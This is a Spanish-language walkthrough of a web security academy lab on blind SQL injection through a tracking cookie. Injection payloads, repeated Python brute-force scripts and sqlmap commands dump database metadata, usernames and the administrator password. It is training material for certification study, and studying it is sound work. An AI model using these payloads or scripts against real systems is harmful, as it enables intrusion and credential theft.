SQLI Lab 11
Skills
- Blind SQL injection with conditional responses
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una vulnerabilidad
de Blind SQL Injection
. La web utiliza una cookie
de seguimiento para analíticas y realiza una consulta SQL
que incluye el valor de la cookie enviada. Los resultados de la consulta SQL
no se devuelven
ni se muestran mensajes
de error
. Sin embargo, la web incluye un mensaje de Welcome back!
en la pagina si la consulta devuelve alguna fila. La base
de datos
contiene una tabla
diferente llamada users
, con columnas
llamadas username
y password
. Debemos explotar
la Blind SQL Inyectiion
para averiguar la contraseña del usuario administrador
. Para resolver el laboratorio, hay que inicia sesión
como el usuario administrador
Resolución
Al acceder
a la web
nos sale esto
Si capturamos
la petición
a la web con Burpsuite
vemos un campo llamado TrackingId
Si enviamos una petición normal a la web aparecerá el texto Welcome back!
Sin embargo, si añadimos una '
al en el campo TrackingId
no se muestra, esto quiere decir que podemos hemos logrado interferir
en la consulta SQL
que se está tramitando. Esto se debe a que la consulta que se está haciendo por detrás es la siguiente
1
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
Si en el campo cookie
efectuamos esta inyección ' and 1=1-- -
el texto de Welcome back!
vuelve a aparecer
, esto es debido a que ya no se está produciendo ese error
. No podemos usar ' or 1=1-- -
porque no funciona como queremos en este caso
, por ejemplo, si usamos ' and 1=2-- -
, el texto Welcome back!
desaparecerá porque la query devuelve false
, peros si usamos ' or 1=2-- -
siempre devolverá true
porque estamos usando el operador or
y la query
seguirá devolviendo true mientras la otra parte de la query sea true
Si usamos este payload
en el campo cookie
, veremos el mensaje Welcome back!
, esto se debe a que el número de columnas existentes es uno. Si hacemos order by 2
, no se mostrará el texto, debido a que se está produciendo un error
1
Cookie: TrackingId=bCihFEjOtMxyoXQw'+order+by+1--+-+; session=6nuhqP8Gzli26UqC1pQcbVnKe93Ax1st
Descartamos que la base
de datos
en uso sea Oracle
, debido a que en Oracle
sería necesario añadir from dual
al final para que no
se produzcan errores
1
Cookie: TrackingId=bCihFEjOtMxyoXQw'+union+select+null--+-+; session=6nuhqP8Gzli26UqC1pQcbVnKe93Ax1st
Para determinar la versión usamos @@version
y al hacerlo nos damos cuenta que se produce un error, esto puede deberse a que la base de datos a la que nos enfrentamos no es la de Microsoft
ni la de MySQL
1
Cookie: TrackingId=bCihFEjOtMxyoXQw'+union+select+@@version--+-+; session=6nuhqP8Gzli26UqC1pQcbVnKe93Ax1st
Sin embargo, si usamos este otro payload no nos arrojará ningún error, por lo tanto podríamos intuir que la base
de datos
es PostgreSQL
1
Cookie: TrackingId=bCihFEjOtMxyoXQw'+union+select+version()--+-+; session=6nuhqP8Gzli26UqC1pQcbVnKe93Ax1st
Confirmamos
que la versión
es PosgreSQL
1
Cookie: TrackingId=bCihFEjOtMxyoXQw'+and+substr(version(),1,10)+=+'PostgreSQL'--+-+; session=6nuhqP8Gzli26UqC1pQcbVnKe93Ax1st
De esta forma podemos ver la longitud
que tiene la cadena
que vamos a dumpear, hay que probar con ambos operadores or
y and
, dependiendo de la consulta uno puede arrojar resultar inconsistentes u ambos puedes ser válidos. En este caso or
no funciona correctamente y hay que usar and
, con la longitud
en 134
no nos arroja ningún error
, sin embargo si la incrementamos a 135
si que obtenemos el error
1
Cookie: TrackingId=Pls1hO5hFWG9D8iI'+and+length(version())=134--+-+; session=9Urch8ydtajImJUb0xQSyEsITyiiKOfw
Para poder dumpear datos
vamos a utilizar todos los caracteres imprimibles de la librería string
de python
1
2
3
4
5
6
7
8
(pythonProject) PS C:\Users\Sergio\PycharmProjects\pythonProject> python
Python 3.11.10 | packaged by Anaconda, Inc. | (main, Oct 3 2024, 07:22:26) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import string
>>> dir (string)
['Formatter', 'Template', '_ChainMap', '__all__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', '_re', '_sentinel_dict', '_string', 'ascii_letters', 'ascii_lowercase', 'ascii_uppercase', 'capwords', 'digits', 'hexdigits', 'octdigits', 'printable', 'punctuation', 'whitespace']
>>> string.printable
'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'
Como vamos a ir iterando para a eliminar los caracteres que se repiten
1
2
3
4
5
6
#!/usr/bin/python3
import string
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
print(characters)
1
2
# python print_characters.py
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
Debido a que el Cluster bomb
de Burpsuite
no es tan cómodo usarlo, vamos a usar python
para que nos dumpee
el output completo de la instrucción version()
. Lo primero que debemos hacer es instalar pwntools
1
2
3
4
# sudo apt-get update
# sudo apt-get install -y python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
# python3 -m pip install --upgrade pip --break-system-packages
# python3 -m pip install --upgrade pwntools --break-system-packages
He creado este script para obtener la información de forma más clara que ejecutando un Cluster bomb
mediante Burpsuite
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0aa800780323059880b6f94e001d0032.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 135):
for character in characters:
cookies = {
'TrackingId': "Pls1hO5hFWG9D8iI' and (select substr(version(),%d,1)='%s')-- - " % (
position, character),
'session': "9Urch8ydtajImJUb0xQSyEsITyiiKOfw"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if "Welcome back!" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Ejecutamos el script obteniendo el output al completo del comando version()
1
2
3
# python3 sqli_conditional_response.py
[...\....] Fuerza bruta: LNchxAn9oOJqOKHw' and (select substr(version(),134,1)='i')-- -
[p] output: PostgreSQL+12.20+(Ubuntu+12.20-0ubuntu0.20.04.1)+on+x86_64-pc-linux-gnu,+compiled+by+gcc+(Ubuntu+9.4.0-1ubuntu1~20.04.2)+9.4.0,+64-bits
Obtenemos la longitud
de todas las bases
de datos
, la cual es de 44 caracteres
1
Cookie: TrackingId=LNchxAn9oOJqOKHw'+and+length((select+string_agg(datname,', ')+from+pg_database))=44--+-+; session=U5B4rAdfDeA17C0bpxxIIgkGM6pmjjeX
Adaptamos el script anterior para bruteforcear
el nombre de las bases
de datos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a7d000e043dee26b4ab626a004200c4.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 45):
for character in characters:
cookies = {
'TrackingId': "LNchxAn9oOJqOKHw' and (select substr(string_agg(datname,', '),%d,1) from+pg_database)='%s'-- - " % (
position, character),
'session': "U5B4rAdfDeA17C0bpxxIIgkGM6pmjjeX"
}
p1.status(cookies['TrackingId'])
r = requests.get(url, cookies=cookies)
if "Welcome back!" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Estas son las bases
de datos
obtenidas
1
2
3
# python3 sqli_conditional_response.py
[▘] Fuerza bruta: LNchxAn9oOJqOKHw' and (select substr(string_agg(datname,', '),44,1) from+pg_database)='_'-- -
[▗] Output: postgres,+template1,+template0,+academy_labs
Identificamos
la base
de datos
que está en uso actualmente
1
Cookie: TrackingId=Pls1hO5hFWG9D8iI'+and+length(current_database())=12--+-+; session=9Urch8ydtajImJUb0xQSyEsITyiiKOfw
Modificamos
el script
de python
para obtener
la base de datos actual
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a4600750477326c80527b1d00dd00c0.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 13):
for character in characters:
cookies = {
'TrackingId': "Pls1hO5hFWG9D8iI' and (select substr(current_database(),%d,1)='%s')-- - " % (
position, character),
'session': "9Urch8ydtajImJUb0xQSyEsITyiiKOfw"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if "Welcome back!" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
el nombre
de la base de datos en uso
1
2
3
# python sqli_conditional_response.py
[O] Fuerza bruta: BqARFKHGTXlkQv0f' and (select substr(current_database(),12,1)='s')-- -
[../.....] Output: academy_labs
Obtener
la longitud
los esquemas
para la base de datos en uso
1
Cookie: TrackingId=BqARFKHGTXlkQv0f'+and+length((select+string_agg(schema_name,', ')+from+information_schema.schemata))=38--+-+; session=PDzYnGW9Ald1yVYhbOOLuw5PTdPkXSmc
Modificamos el script de python para obtener todos los esquemas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a4600750477326c80527b1d00dd00c0.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 39):
for character in characters:
cookies = {
'TrackingId': "LNchxAn9oOJqOKHw' and (select substr(string_agg(schema_name,', '),%d,1) from information_schema.schemata)='%s'-- - " % (
position, character),
'session': "9Urch8ydtajImJUb0xQSyEsITyiiKOfw"
}
p1.status(cookies['TrackingId'][:150])
r = requests.get(url, cookies=cookies)
if "Welcome back!" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
todos los esquemas
para la base de datos actual
1
2
3
# python sqli_conditional_response.py
[▁] Fuerza bruta: BqARFKHGTXlkQv0f' and (select substr(string_agg(schema_name,', '),38,1) from information_schema.schemata)='a'-- -
[▅] Output: pg_catalog,+public,+information_schema
Identificamos el número
de caracteres
que hay en la consulta, el cual es de 15 caracteres
, esto lo vamos a utilizar para obtener
las tablas
del esquema public
1
Cookie: TrackingId=LNchxAn9oOJqOKHw'+and+length((select+string_agg(table_name,', ')+from+information_schema.tables+where+table_schema='public'))=15--+-+; session=U5B4rAdfDeA17C0bpxxIIgkGM6pmjjeX
Modificamos nuevamente el script de python para bruteforcear
las tablas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a4600750477326c80527b1d00dd00c0.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 16):
for character in characters:
cookies = {
'TrackingId': "LNchxAn9oOJqOKHw' and (select substr(string_agg(table_name,', '),%d,1) from information_schema.tables where table_schema='public')='%s'-- - " % (
position, character),
'session': "U5B4rAdfDeA17C0bpxxIIgkGM6pmjjeX"
}
p1.status(cookies['TrackingId'])
r = requests.get(url, cookies=cookies)
if "Welcome back!" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
el nombre
de las tablas
del esquema public
1
2
3
# python sqli_conditional_response.py
[......\.] Fuerza bruta: BqARFKHGTXlkQv0f' and (select substr(string_agg(table_name,', '),15,1) from information_schema.tables where table_schema='public')='g'-- -
[◥] Output: users,+tracking
Obtenemos el número
de caracteres
que tienen las columnas
de la tabla users
, el cual es de 25 caracteres
1
Cookie: TrackingId=LNchxAn9oOJqOKHw'+and+length((select+string_agg(column_name,',+')+from+information_schema.columns+where+table_name='users'))=25--+-+; session=U5B4rAdfDeA17C0bpxxIIgkGM6pmjjeX
Modificamos el script para obtener
el nombre
de las columnas
de la tabla users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a7d000e043dee26b4ab626a004200c4.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 26):
for character in characters:
cookies = {
'TrackingId': "LNchxAn9oOJqOKHw' and (select substr(string_agg(column_name,', '),%d,1) from information_schema.columns where table_name='users')='%s'-- - " % (
position, character),
'session': "U5B4rAdfDeA17C0bpxxIIgkGM6pmjjeX"
}
p1.status(cookies['TrackingId'])
r = requests.get(url, cookies=cookies)
if "Welcome back!" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Extraemos
el nombre
de las columnas
1
2
3
# python3 sqli_conditional_response.py
[>] Fuerza bruta: LNchxAn9oOJqOKHw' and (select substr(string_agg(column_name,', '),25,1) from information_schema.columns where table_name='users')='i'-- -
[o] Output: username,+output,+email
Obtenemos
la longitud
de la columna users
, la cual es de 29 caracteres
1
Cookie: TrackingId=q5zrdy5bS1cbQoge'+and+length((select+string_agg(username,', ')+from+users))=29--+-+; session=TLQCRenf9WOJ32JrP9iO3PG1TqebSben
Modificamos el script para bruteforcear
los usernames
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a5d00a603008a5b80aacc1e00950014.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 30):
for character in characters:
cookies = {
'TrackingId': "q5zrdy5bS1cbQoge' and (select substr(string_agg(username,', '),%d,1) from+users)='%s'-- - " % (
position, character),
'session': "TLQCRenf9WOJ32JrP9iO3PG1TqebSben"
}
p1.status(cookies['TrackingId'])
r = requests.get(url, cookies=cookies)
if "Welcome back!" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
un listado
de usuarios
1
2
3
# python sqli_conditional_response.py
[ ] Fuerza bruta: q5zrdy5bS1cbQoge' and (select substr(string_agg(username,', '),29,1) from+users)='s'-- -
[↑] Output: administrator,+wiener,+carlos
Obtenemos
la longitud
de la contraseña
del usuario administrator
, la cual es de 20 caracteres
1
Cookie: TrackingId=q5zrdy5bS1cbQoge'+and+length((select+password+from+users+where+username='administrator'))=20--+-+; session=TLQCRenf9WOJ32JrP9iO3PG1TqebSben
Modificamos le script para obtener
la contraseña
del usuario administrador
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb, sys, string
def def_handler(sig,frame):
print("\n\n[!] Saliendo ...\n")
sys.exit(1)
# Ctrl + C
signal.signal(signal.SIGINT, def_handler)
url = "https://0a5d00a603008a5b80aacc1e00950014.web-security-academy.net/"
characters = "".join(sorted(set(char for char in string.printable if char.isprintable() and char != " "), key=string.printable.index))
def makeRequest():
output = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando ataque de fuerza bruta")
time.sleep(2)
p2 = log.progress("Output")
with open("output.txt", "w") as f:
for position in range(1, 21):
for character in characters:
cookies = {
'TrackingId': "q5zrdy5bS1cbQoge' and (select substr(password,%d,1) from users where username='administrator')='%s'-- - " % (
position, character),
'session': "TLQCRenf9WOJ32JrP9iO3PG1TqebSben"
}
p1.status(cookies['TrackingId'])
r = requests.get(url, cookies=cookies)
if "Welcome back!" in r.text:
output += character
f.write(character)
f.flush()
p2.status(output)
break
if __name__ == '__main__':
makeRequest()
Obtenemos
la contraseña
del usuario administrador
1
2
3
# python sqli_conditional_response.py
[p] Fuerza bruta: q5zrdy5bS1cbQoge' and (select substr(password,20,1) from users where username='administrator')='m'-- -
[*] Output: qfnmnxnxn87g12jt6ndm
Podríamos obtener también la contraseña
del usuario administrator
usando sqlmap
, lo primero es listar
las bases
de datos
1
2
3
# sqlmap -u https://0a7100f60324b8b38166b11800510080.web-security-academy.net/ --risk=3 --level=5 --random-agent --dbs --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX"
available databases [1]:
[*] public
Listamos
las tablas
de la base de datos public
1
2
3
4
5
6
7
# sqlmap -u https://0a7100f60324b8b38166b11800510080.web-security-academy.net/ --risk=3 --level=5 --random-agent -D public --tables --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX"
Database: public
[2 tables]
+----------+
| tracking |
| users |
+----------+
Listamos
las columnas
de la tabla users
1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a7100f60324b8b38166b11800510080.web-security-academy.net/ --risk=3 --level=5 --random-agent -D public -T users --columns --tables --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX"
Database: public
Table: users
[3 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| email | varchar |
| password | varchar |
| username | varchar |
+----------+---------+
Dumpeamos
el contenido de password
y username
de la tabla users
1
2
3
4
5
6
7
8
9
10
11
# sqlmap -u https://0a7100f60324b8b38166b11800510080.web-security-academy.net/ --risk=3 --level=5 --random-agent -D public -T users -C password,username --dump --columns --tables --batch --cookie="TrackingId=lnS9gSlm0CA61ePa*; session=kozeaHyWxCxfjMUuZubvmHN0cIIi9ZTX"
Database: public
Table: users
[3 entries]
+----------------------+---------------+
| password | username |
+----------------------+---------------+
| 1hks7t69qxtkjcpu73lf | administrator |
| 3f89mwv9aqd9sqtuuawl | carlos |
| ynd8n4de1zy22jjq855c | wiener |
+----------------------+---------------+
Nos logueamos
como el usuario administrador